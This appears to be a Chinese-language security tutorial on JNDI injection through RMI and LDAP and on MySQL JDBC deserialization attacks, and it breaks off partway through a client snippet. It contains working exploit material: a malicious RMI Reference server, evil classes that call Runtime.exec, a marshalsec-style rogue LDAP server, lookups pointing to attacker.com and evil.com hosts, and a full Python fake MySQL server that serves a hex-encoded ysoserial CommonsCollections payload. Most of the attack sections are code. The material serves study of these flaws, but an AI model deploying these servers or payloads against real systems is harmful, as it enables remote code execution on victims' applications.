0%

前提知识

RMI动态加载恶意类

RMI介绍

RMI,远程方法调用。跟RPC差不多,是java独立实现的一种机制。实际上就是在一个java虚拟机上调用另一个java虚拟机的对象上的方法。

RMI分为三个主体部分:

Client-客户端:客户端调用服务端的方法

Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。

Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

RMI使用

Server部署:

Server向Registry注册远程对象,远程对象绑定在一个//hostL:port/objectname上,形成一个映射表(Service-Stub)。

Client调用:

Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。

Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程

RMI服务器

Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

列举几个函数

bind:将远程对象绑定到注册中心

rebind:重新绑定一个远程对象

unbind:取消一个过程对象的绑定

list:列出注册中心绑定对象

lookup:在注册中心获取一个远程对象的存根

RMI利用

RMI远程加载代码的过程,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase(就算是一个地址,指定jvm从哪个地方去搜集类,和ClassPath,jdbc的url一样,通常是远程的URL,比如http,ftp等)中的类,所以只要控制了codebase,就可以加载任何恶意类

但是官方注意到后,在后面的版本(6u45、7u21,8u121以后)加了限制(java.rmi.server.useCodebaseOnly默认配置已经改为了true。),满足如下条件的才可以攻击

安装并配置了SecurityManager,(需要自己设置为trust)

java.rmi.server.useCodebaseOnly 配置为 flase,如果为 true,则将禁用自动加载类文件,不允许远程加载对象

0x00 - JNDI 是什么?

JNDI 名为 Java命名和目录接口,具体概念比较复杂难懂,具体细节不用了解,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务例如 LDAP、RMI 等

JNDI提供了两个服务,命名服务和目录服务。

命名服务将一个对象和一个名称绑定,然后放置到一个容器里面。当我们想要获取这个对象的时候,就可以通过容器来查找这个名称,从而获得这个对象。

目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性。在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI。

0x01. JNDI 获取并调用远程方法

想要实现JNDI,我们首先得需要一个容器,然后我们将一个对象绑定到容器里面。(这里结合RMI来实现一个简单的示例)

1、创建一个远程调用对象

首先创建一个接口,继承Remote接口:

1
2
3
public interface RemoteMethod extends Remote {
    public void sayBye() throws RemoteException;
}

 创建一个远程对象,实现该接口,并继承UnicastRemoteObject类:

1
2
3
4
5
6
7
8
9
10
11
12
class test extends UnicastRemoteObject implements RemoteMethod {
    public String name;
    public int age;
    public test(String name,int age) throws RemoteException {
        super();
        this.age = age;
        this.name = name;
    }
    public void sayBye(){
        System.out.println("say bye!!");
    }
}

2、开启RMI服务端

创建一个RMI服务端,并将一个远程对象绑定到注册表中

1
2
3
4
5
6
7
public class Server {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        test test = new test("test",22);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",test);
    }
}

3、利用JNDI远程获取对象

我们想要使用JNDI来远程获取对象,首先得需要获取一个容器,我们先看如下实例代码:

1
2
3
4
5
6
7
8
9
10
public class jndi {
    public static void main(String[] args) throws RemoteException, NamingException {
        Properties env = new Properties();
      env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        RemoteMethod remoteMethod = (RemoteMethod) ctx.lookup("test");
        remoteMethod.sayBye();
    }
}

Context.PROVIDER_URL参数表示指定一个远程加载的地址,例如上面的rmi://127.0.0.1:1099,当我们通过lookup函数进行查找对象的时候,其实就是在rmi://127.0.0.1:1099/test这个里面进行的查找。
​ 最后远程调用方法之后,会在服务端执行代码,将结果返回给JNDI客户端。

0x02.JNDI注入漏洞

通过上面的这个例子,我们可以知道,通过JNDI可以远程加载对象。除了通过上面的Context.PROVIDER_URL来设置URL以外,我们可以直接在lookup参数指定URL,例如lookup(“rmi://127.0.0.1:1099/test”),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载。

如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。但是这里又会遇到一个问题,就是怎么进行攻击呢?

当我们指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者。当然,如果受害者内部存在漏洞组件存在反序列化漏洞的话,我们可以构造恶意的序列化对象,返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞;如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

0x03.Reference类

为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。

 Reference类实例化需要三个参数:

1
2
3
className:表示远程加载时所使用的类名
classFactory:加载class中需要实例类的名称
classFactoryLocation:指定远程加载类的地址

例如我们创建如下Reference类实例,并将其绑定到注册表中:

1
2
3
4
5
6
7
8
public class Server {
    public static void main(String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException {
        Reference reference = new Reference("111","evil","http://remoteurl:8080/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        LocateRegistry.createRegistry(1099);
        Naming.bind("test",referenceWrapper);
    }
}

然后编写一个evil.java恶意类,编译之后,将evil.class上传到服务器上:

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;
public class evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();  
        }
    }
}

之后使用JNDI来远程获取这个绑定的对象,最终会在本地弹出计算器

1
2
3
4
5
6
7
public static void main(String[] args) throws NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        ctx.lookup("test");
    }

当有客户端通过 lookup("obj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference 实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 ClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/ClassName.class 动态加载 classes 并调用 Classfactory 的构造函数。
由此说明在获取 RMI 远程对象时,可以动态地加载外部代码进行对象类型实例化,而 JNDI 同样具有访问 RMI 远程对象的能力,只要其查找参数即 lookup() 函数的参数值可控,那么就有可能促使程序去加载和自信部署在攻击者服务器上的恶意代码。

0x04.动态协议转换

在初始化配置 JNDI 设置时可以预先指定其上下文环境(RMI、LDAP 等):

1
2
3
4
5
6
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");
Context ctx = new InitialContext(env);

而在调用 lookup() 或者 search() 时,可以使用带 URL 动态的转换上下文环境,例如上面已经设置了当前上下文会访问 RMI 服务,那么可以直接使用 LDAP 的 URL格式去转换上下文环境访问 LDAP 服务上的绑定对象:

1
ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

这里主要实现代码在这:

1
2
3
4
5
public Object lookup(String name) throws NamingException {
//getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象
//然后在对应协议中去lookup搜索,我们进入lookup函数
return getURLOrDefaultInitCtx(name).lookup(name);
}

getURLOrDefaultInitCtx() 函数的具体代码实现为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (paramName.size() > 0) {
String str1 = paramName.get(0);
String str2 = getURLScheme(str1); // 尝试解析 URI 中的协议
if (str2 != null) {
// 如果存在 Schema 协议,则尝试获取其对应的上下文环境
Context localContext = NamingManager.getURLContext(str2, this.myProps);
if (localContext != null) {
return localContext;
}
}
}
return getDefaultInitCtx();
}

但第一次调用 lookup() 函数的时候,会对上下文环境进行一个初始化,这时候代码会对 paramName 参数值进行一个 URL 解析,如果 paramName 包含一个特定的 Schema 协议,代码则会使用相应的工厂去初始化上下文环境,这时候不管之前配置的工厂环境是什么,这里都会被动态地对其进行替换

这里有几个坑需要注意一下:

1、首先就是jdk的版本,高版本的jdk做了限制,因此尽量使用jkd1.7版本

2、恶意类中不要带package包名,否则可能会报错

我们梳理一下整个调用流程。首先我们创建了一个Reference实例对象,这三个参数表示的意思为:当远程加载对象之后,会先从本地找111.class文件是否存在,如果不存在,则从远程服务端http://remoteurl:8080/中查找evil.class文件。接下来使用了ReferenceWrapper来包裹Reference是,原因是远程对象需要继承UnicastRemoteObject类,而Reference类并没有对该类进行继承,因此我们需要封装一下,跟进ReferenceWrapper类,可以发现其继承了UnicastRemoteObject类:

图片

对于JNDI注入漏洞,我们的攻击方式如下:(利用RMI)

1、在存在注入的地方利用RMI远程加载,指向恶意的URL

2、我们在恶意的URL上搭建一个RMI服务,并绑定一个Reference对象,并指定恶意类的加载路径

3、在服务端上放置恶意类编译后的class文件

最后进行攻击流程的总结:

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URL为 rmi://evil.com:1099/refObj;
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象(Reference(“EvilObject”, “EvilObject”, “http://realevil.com/“));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://realevil.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://realevil.com/EvilObject.class;
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行

0x05.LDAP-JNDI注入

LDAP一般指轻型目录访问协议,可以把它理解成存储数据的数据库。和其他数据库一样,LDAP也是有client端和server端。server端是用来存放资源,client端用来操作增删改查等操作

因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制

需要unboundid-ldapsdk的依赖:

1
2
3
4
5
6
7
    <dependencies>
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>3.1.1</version>
    </dependency>
    </dependencies>

server是参考marshalsec,修改得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class server {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8080/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

client端

1
2
3
4
5
6
7
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/test");
    }}

恶意类

1
2
3
4
5
public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

0x06.代码调试

具体的代码调试实现参考这篇文章

https://blog.csdn.net/weixin_54648419/article/details/123221292

从Server端解析传入的URL,直接来到RegistryContexr#lookup方法

图片

this.registry仍然是RegistryImpl_Stub,执行lookup方法获取的是一个ReferenceWrapper_Stub对象

图片

RegistryContext#decodeObject方法中会根据这个ReferenceWrapper_Stub对象获取Reference对象

图片

getReference方法,发现又调用了UnicastRef#invoke ⽅法

图片

相当于进⾏了⼀次远程⽅法调⽤

图片

图片

这里的参数正好对应着 RMI 服务端中的 ReferenceWrapper#getReference ⽅法(由ReferenceWrapper 实现的 RemoteReference 接⼝)

图片

于是这次远程⽅法调⽤的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象

图片

因为条件运算符前面成立,返回前面得表达式,继续跟进到 NamingManager#getObjectInstance ⽅法,跟到NamingManager##getObjectFactoryFromReference方法获取factory实例

跟进发现首先进行本地加载,加载失败以后,再从codebase加载factory

图片

其中,下面的LoadClass加载方式为 URLClassLoader,成功加载执行了恶意代码,最后返回factory实例

图片

JDBC(Java DataBase Connectivity)是Java和数据库之间的一个桥梁,是一个 规范 而不是一个实现,能够执行SQL语句。它由一组用Java语言编写的类和接口组成。各种不同类型的数据库都有相应的实现,简单来说,你可以理解为 JDBC是封装好的数据库接口,你可以直接使用java调用该组件的接口,他把数据库的协议封装好了,让你无需对协议进行理解即可使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
String Driver = "com.mysql .cj.jdbc.Driver"; //从 mysql-connector-java 6开始
//String Driver = "com.mysql.jdbc.Driver"; // mysql-connector-java 5
String DB_URL="jdbc:mysql://127.0.0.1:3306/security";
//1.加载启动
Class.forName(Driver);
//2.建立连接
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
//3.操作数据库,实现增删改查
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from users");
//如果有数据,rs.next()返回true
while(rs.next()){
System.out.println(rs.getString("id")+" : "+rs.getString("username"));

java序列化对象特征

这个东西是为了理解下面的代码而写的.

我们先写一个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Car implements Serializable {

private String name;
public Car(){
this.name ="car";
}

public static void main(String[] args) throws IOException {
Car car=new Car();
FileOutputStream fos =new FileOutputStream("output");
ObjectOutputStream oos =new ObjectOutputStream(fos);
oos.writeObject(car);
oos.close();
}
}

上面的代码把一个Car对象输出到了文件中.我们看一下文件的字节内容
图片

图片

可以看到我们序列化后的对象前两个字节分别是-84-19 .这个是java对象的一个标识,后面会用到这两个数字

原理分析

连接数据库URL中关键的地方就三个

url中的目标地址是可控的,那么连接到哪个mysql服务就可控,可以编写一个恶意的mysql服务,这个后面会提到

queryInterceptors属性相当于一个拦截器,连接代码中指定为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor类,当执行数据库查询操作时,就经过ServerStatusDiffInterceptor类的postProcess和preProcess方法,在连接数据库时也会调用到preProcess方法

autoDeserialize属性是利用反序列化需要用到的,这个后面会提,剩下的

根据原作者的思路去分析他是如何去挖掘这个漏洞的.

  • 反序列化漏洞,那就需要可以解析我们传过来的恶意对象.而不是把我们传输过来的当做字节数据处理. 所以需要找到一个可以readObject的地方
    1
    于是作者在这里盯上了com.mysql.cj.jdbc.result.ResultSetImpl.getObject(). 主要看其中重要的逻辑代码,对源代码进行了部分删减.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Object getObject(int columnIndex) throws SQLException {

Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
//获取连接属性的autoDeserialize是否为true
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
//data长度大于等于2是为了下一个判断.
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
//上面已经分析过了,就是识别是不是序列化后的对象
// Serialized object?
//下面就是反序列化对象了.
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}

现在就是找调用 getObject的地方了.作者找到了
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()方法。

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用getObject()方法。

图片

图片

图片

在JDBC连接数据库的过程中,会调用SHOW SESSION STATUS去查询,然后对结果进行处理的时候会调用resultSetToMap.跟进去

图片

到这里我们已经找到了一个利用链了.设置拦截器,然后进入到getObject,在getObject中,只要autoDeserialize 为True.就可以进入到最后readObject中.

跟进ResultSetImpl#getObject方法,一系列的操作最终会执行到反序列化操作,而反序列化的内容data变量可以通过编写的恶意mysql服务器控制!然后就是看前面的一系列判断条件了,通过columnIndexMinusOne获取field,columnIndexMinusOne又是通过columnIndex计算出来的,调试的时候columnIndex为2,columnIndexMinusOne为1,也就是上一步的第二次调用getObject方法才进入反序列化。然后判断field的类型,当field类型为BIT或者BLOB类型时(case BLOB里面的代码跟case BIT是一样的),通过columnIndex获取到反序列化的字节数组data,然后判断autoDeserialize属性值是否为true(这就是为什么前面POC中设置其为true的原因),然后data字节数组需要不为空且长度大于2,并且前两个字节为84和19(其实这个两个字节就是序列化数据的标记,这两个字节开头的数据就是序列化数据),最后进入反序列化操作

这也是POC中的queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true的由来

复现的思路

在JDBC连接MySQL的过程中,执行了SHOW SESSION STATUS语句.我们返回的结果需要是一个恶意的对象.那就是说我们需要自己写一个假的MYSQL服务.

这里就会有两种写法1.根据MYSQL的协议去写服务器. 2.抓包,模拟发包过程.

这里选择使用第二种方法

这里就直接用大佬的jio本

fake_mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break



if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

中间的原理有一点复杂不太能看懂,先挖个坑。
client:

1
2
3
4
5
6
7
8
9
10
11
12
public class JdbcClient {



public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
